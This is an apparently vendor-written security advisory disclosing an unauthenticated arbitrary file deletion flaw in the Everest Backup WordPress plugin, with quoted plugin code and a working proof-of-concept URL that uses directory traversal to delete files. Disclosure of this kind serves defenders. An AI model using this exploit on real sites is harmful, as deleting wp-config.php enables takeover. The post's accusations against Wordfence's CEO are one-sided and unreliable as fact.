Wordfence’s False Claim of Vulnerability in WordPress Plugin Everest Backup Leads to Serious Real Vulnerability
Recently the CEO of Wordfence, Mark Maunder, claimed that their data on vulnerabilities in WordPress plugins is “impeccable”. That is disputed by, among other things, Wordfence’s attempts to cover up mention of the problems with that very data. It’s unclear if the CEO is unaware of what is going on with the employees of his company or he is, as he often does, lying in a way that makes Wordfence sound like it is doing amazing things it isn’t doing. Whatever the case, another recent instance of their inaccuracy led to finding a real vulnerability in the plugin Everest Backup.
We recently reviewed a claim by Wordfence from earlier this year of a vulnerability in the plugin, where what was claimed to be a vulnerability was still possible in the version that was supposed to fix it. We were reviewing that because one of our customers started using the plugin. What we found was that the plugin actually still is rather insecure, but not in the way that Wordfence had claimed. Considering the potential security risk posed by backup plugins, you would hope they are thoroughly checked for security issues, but this plugin clearly hasn’t been.
As an example of that insecurity, we found that an attacker can delete arbitrary files from the website. That could allow them to take control of the website by deleting the WordPress configuration file.
This vulnerability has been in the plugin for over two years without getting noticed so far.
We tested and confirmed that our firewall plugin for WordPress protected against exploitation of this vulnerability, even before we discovered the vulnerability, as part of its protection against zero-day vulnerabilities.
We would recommend not using the plugin unless it has had a thorough security review and all the issues found are resolved.
Arbitrary File Deletion
In the file /inc/classes/class-everest-backup.php, the plugin registers the function on_admin_init to run during admin_init:
58 | add_action( 'admin_init', array( $this, 'on_admin_init' ), 5 ); |
That means it runs when admin pages are accessed and when accessing the right admin page, it can be run even by those not logged in to WordPress.
That function calls other functions:
157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 | public function on_admin_init() { load_plugin_textdomain( 'everest-backup', false, EVEREST_BACKUP_PATH . 'languages' ); $this->force_reload(); $this->dismiss_upsell_notice(); $this->set_debug_mode_ondemand(); $this->create_litespeed_htacces_files(); $this->generate_fake_lockfile(); $this->addons_compatibility_check(); $this->set_headers(); $this->force_abort_proc_lock(); $this->terminate_proc_lock(); $this->lock_ebwp_plugins(); $this->activate_addon(); $this->save_settings(); // $this->download_as_zip(); // Removed since 2.0.0 $this->remove_backup_file(); $this->setup_clone_init(); $this->restore_rollback(); $this->bulk_remove_logs(); |
One of the functions is remove_backup_file(), which allows deleting arbitrary files from the website:
653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 | private function remove_backup_file() { $get = everest_backup_get_submitted_data( 'get' ); $page = ! empty( $get['page'] ) ? $get['page'] : ''; if ( 'everest-backup-history' !== $page ) { return; } $bulk_action = isset( $get['action2'] ) ? $get['action2'] : ''; $cloud = isset( $get['cloud'] ) ? $get['cloud'] : 'server'; if ( '-1' === $bulk_action ) { return; } if ( 'server' !== $cloud ) { return do_action( 'everest_backup_override_file_remove', $get ); } $history_page_url = network_admin_url( "/admin.php?page={$page}" ); $backup_dir = EVEREST_BACKUP_BACKUP_DIR_PATH; if ( $bulk_action ) { /** * If we are here, we are removing files in bulk. */ $files = isset( $get['remove'] ) ? $get['remove'] : ''; if ( is_array( $files ) && ! empty( $files ) ) { foreach ( $files as $file ) { $file_path = $backup_dir . DIRECTORY_SEPARATOR . $file; if ( ! is_file( $file_path ) ) { continue; } unlink( $file_path ); |
It appears the only possible security check is a check that you are accessing a certain admin page, but it doesn’t do so in a way that is effective. There isn’t protection against directory traversal, so any files can be deleted instead of only the intended files.
WordPress Causes Full Disclosure
As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)
You can notify the developer of this issue on the forum as well.
After four years, the moderators have finally tacitly admitted they were behaving inappropriately and have made moves to fix the problems (though incompletely), so these full disclosures can be ended if they simply restore access to our accounts and plugins in the Plugin Directory. Hopefully that takes less than four years.
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof of concept will delete a file named “test.txt” located in the root directory of the website.
Replace “[path to WordPress]” with the location of WordPress.
http://[path to WordPress]/wp-admin/admin-post.php?page=everest-backup-history&action=remove&action2=1&cloud=server&remove[]=../../test.txt